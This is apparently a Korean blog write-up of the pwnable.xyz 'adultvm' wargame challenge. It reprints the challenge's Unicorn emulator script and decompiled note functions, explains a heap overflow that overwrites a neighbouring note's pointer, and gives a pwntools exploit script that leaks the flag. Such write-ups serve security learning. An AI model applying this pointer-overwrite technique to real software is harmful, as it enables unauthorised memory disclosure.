Pwnstar

pwnable.xyz adultvm 본문

Wargame/pwnable.xyz

pwnable.xyz adultvm

포너블처돌이 2020. 12. 21. 13:40

파일이 뭐가 되게 많은데 필수적으로 봐야할 것들만 보자.

바이너리 하나,  kernel을 실행시켜주는 파이썬 스크립트가 하나 플래그 파일 세 개, kernel이라는 파일이 하나(이건 아직 뭔지 잘 모르겠다.)가 있다.

우선 파이썬 스크립트부터 보자.

#!/usr/bin/env python2

import sys
import os
from unicorn import *
from unicorn.x86_const import *
from threading import Thread
from Queue import Queue
from elftools.elf.elffile import ELFFile

kernel_queue = Queue(1)
user_queue = Queue(1)

KERNEL_ADDRESS = 0xFFFFFFFF81000000
KERNEL_STACK =   0xFFFF8801FFFFF000

KERNEL_SYSCALL_HANDLER = KERNEL_ADDRESS + 7
KERNEL_SEGFAULT_HANDLER = KERNEL_ADDRESS + 14

USER_ADDRESS = 0x4000000
USER_STACK = 0x7ffffffff000

MAPPING_SIZE = 0x100000

USER_TEXT_MEM = "\x00" * MAPPING_SIZE
USER_DATA_MEM = "\x00" * MAPPING_SIZE
USER_STACK_MEM = "\x00" * MAPPING_SIZE

def get_syscall_regs(uc):
    return {
        "rax": uc.reg_read(UC_X86_REG_RAX),
        "rdi": uc.reg_read(UC_X86_REG_RDI),
        "rsi": uc.reg_read(UC_X86_REG_RSI),
        "rdx": uc.reg_read(UC_X86_REG_RDX),
        "r10": uc.reg_read(UC_X86_REG_R10),
        "r8" : uc.reg_read(UC_X86_REG_R8),
        "r9" : uc.reg_read(UC_X86_REG_R9)
    }

def set_syscall_regs(uc, regs):
    uc.reg_write(UC_X86_REG_RAX, regs["rax"])
    uc.reg_write(UC_X86_REG_RDI, regs["rdi"])
    uc.reg_write(UC_X86_REG_RSI, regs["rsi"])
    uc.reg_write(UC_X86_REG_RDX, regs["rdx"])
    uc.reg_write(UC_X86_REG_R10, regs["r10"])
    uc.reg_write(UC_X86_REG_R8, regs["r8"])
    uc.reg_write(UC_X86_REG_R9, regs["r9"])

def handle_syscall(uc, user_data):
    kernel_queue.put(get_syscall_regs(uc))
    set_syscall_regs(uc, user_queue.get())

def handle_userland_invalid(uc, access, address, size, value, user_data):
    kernel_queue.put("SEGV")
    return False

def handle_kernel(uc, address, size, user_data):
    inst = uc.mem_read(address, size)
    
    if inst == "\xcf":
        user_queue.put(get_syscall_regs(uc))
        
    if inst == "\xcf" or inst == "\xF3\x90":
        msg = kernel_queue.get()
        if msg == "SEGV":
            uc.reg_write(UC_X86_REG_RIP, KERNEL_SEGFAULT_HANDLER)
        else:
            set_syscall_regs(uc, msg)
            uc.reg_write(UC_X86_REG_RIP, KERNEL_SYSCALL_HANDLER)

def handle_kernel_interrupt(uc, intno, data):    
    if intno == 0x70:
        rax = uc.reg_read(UC_X86_REG_RAX)
        if rax == 0:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            uc.mem_protect(rdi, rsi, rdx)
        elif rax == 7:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            buf = str(eval(str(uc.mem_read(rdi, rdx))))
            uc.mem_write(rsi, buf)
            uc.reg_write(UC_X86_REG_RAX, len(buf))

def handle_kernel_in(uc, port, size, user_data):
    if port == 0x3f8 and size == 1:
        c = sys.stdin.read(1)
        if not c:
            os._exit(-1)
        return ord(c)

def handle_kernel_out(uc, port, size, value, user_data):
    if port == 0x3f8 and size == 1:
        sys.stdout.write(chr(value))
        sys.stdout.flush()

def handle_kernel_invalid(uc, access, address, size, value, user_data):
    log.info("handle_kernel_invalid: 0x{:x}".format(address))
    uc.reg_write(UC_X86_REG_RIP, KERNEL_SEGFAULT_HANDLER)
    return True

def read(file):
    with open(file, 'rb') as f:
        return f.read()

def start_userland():
    with open("./userland", 'rb') as f:
        userland = ELFFile(f).get_segment(0).data()
    flag1 = read("./flag1.txt")

    mu = Uc(UC_ARCH_X86, UC_MODE_64)

    mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC, USER_TEXT_MEM)
    mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
    mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)

    mu.mem_write(USER_ADDRESS, userland)
    mu.hook_add(UC_HOOK_INSN, handle_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
    mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_userland_invalid)

    mu.reg_write(UC_X86_REG_RSP, USER_STACK-0x1000)
    mu.reg_write(UC_X86_REG_RIP, USER_ADDRESS)

    mu.mem_write(USER_ADDRESS + MAPPING_SIZE, flag1)

    mu.emu_start(USER_ADDRESS, USER_ADDRESS + len(userland))

    regs = get_syscall_regs(mu)
    regs["rax"] = 60
    kernel_queue.put(regs)

def start_kernel():
    kernel = read("./kernel")
    flag2 = read("./flag2.txt")

    mu = Uc(UC_ARCH_X86, UC_MODE_64)
    mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ, USER_TEXT_MEM)
    mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
    mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)

    mu.mem_map(KERNEL_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC)
    mu.mem_map(KERNEL_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE)

    mu.mem_write(KERNEL_ADDRESS, kernel)
    mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE)
    mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
    mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
    mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
    mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid)

    mu.reg_write(UC_X86_REG_RSP, KERNEL_STACK-0x1000)
    mu.reg_write(UC_X86_REG_RIP, KERNEL_ADDRESS)

    mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)

    mu.emu_start(KERNEL_ADDRESS, KERNEL_ADDRESS + len(kernel))

if __name__ == '__main__':
    kernel = Thread(target=start_kernel)
    userland = Thread(target=start_userland)

    kernel.start()
    userland.start()

    kernel.join()
    userland.join(1)
    os._exit(0)

핵심함수는 start_userland라는 함수이다.

앞서 문제 설명에

플래그는 flag1.txt에 있음이라고 되어 있는데, 이 파일을 

mu.mem_write(USER_ADDRESS + MAPPING_SIZE, flag1)

user_address + mapping_size의 위치에 적어놨다. 고정주소인데, 0x4100000이므로 이 곳의 주소를 읽으면 된다.

이제 바이너리를 살펴보자.

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      result = get_int();
      if ( result != 2 )
        break;
      show_note();
    }
    if ( result == 3 )
      break;
    if ( result == 1 )
      edit_note();
  }
  return result;
}

1을 입력하면 edit_note를 2를 입력하면 show_note를 실행해준다.

 

edit_note

void __cdecl edit_note()
{
  signed int id; // [rsp+Ch] [rbp-4h]

  do_write(id_str, 9uLL);
  id = get_int();
  if ( id >= 0 && id <= 9 )
  {
    if ( !notes[id].note )
    {
      notes[id].note = &memory[memory_ptr];
      notes[id].size = 56LL;
      notes[id].serial = (unsigned int)(((1664525 * id + 1013904223) >> 31) + 1664525 * id + 1013904223)
                       - ((unsigned __int64)((unsigned __int128)(1664525 * id + 1013904223) >> 64) >> 32);
      memory_ptr += notes[id].size;
    }
    do_write(contents_str, 0xBuLL);
    notes[id].id = id;
    notes[id].show = print_note;
    notes[id].size = read_line(notes[id].note, 0x40uLL);
  }
}

note의 구조체에 +0에는 노트의 id(인덱스), +8에는 노트가 적히는 주소, + 0x10에는 노트의 사이즈, +0x20에는 print_note의 주소가 들어있다. 여기서 생기는 취약점이

노트의 시작 주소는 0x4100180인데, 0x40바이트씩 9개나 입력을 받을 수 있으므로 뒤의 노트의 첫번째 구조체를 내가 원하는 값으로 덮어줄 수 있음.

9번째 노트의 값을 조작해서 0x4100180을 0x4100000로 바꾸면 flag1.txt를 읽을 수 있다.

show_note

void __cdecl show_note()
{
  signed int id; // [rsp+Ch] [rbp-4h]

  do_write(id_str, 9uLL);
  id = get_int();
  if ( id >= 0 && id <= 9 )
  {
    if ( notes[id].show )
      ((void (__fastcall *)(size_t, char *, size_t, uint64_t))notes[id].show)(
        notes[id].id,
        notes[id].note,
        notes[id].size,
        notes[id].serial);
  }
}

덮어주고 show_note함수로 출력해주면 끗

 

ex.py

from pwn import*

#p = process(["python", "start.py"])
p = process("./userland")
#p = remote("svc.pwnable.xyz", 30048)
script = '''
b*0x000000000400032D
b*0x0000000004000321
'''
gdb.attach(p, script)


for i in range(0, 9):
    p.sendlineafter("Exit\n", "1")
    p.sendlineafter(": ", str(i))
    p.sendafter(": ", "A"*0x40)

p.sendlineafter("Exit\n", "1")
p.sendlineafter(": ", "9")
p.sendlineafter(": ", p64(0)*2 + p64(0x4100000) + p64(0x20))

p.sendlineafter("Exit\n", "2")
p.sendlineafter(": ", "0")

p.interactive()

 

xyz의 adultvm이 아무래도 hackctf의 언익스시리즈같은 문제인 것 같다. 같은 바이너리에 플래그 찾기 점점 힘들어지는 게 똑같다ㅋㅋ

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz adultvm3  (0) 2020.12.22
pwnable.xyz adultvm2  (0) 2020.12.22
pwnable.xyz note v4  (0) 2020.12.20
pwnable.xyz fishing  (0) 2020.12.19
pwnable.xyz babyvm  (0) 2020.12.17
Comments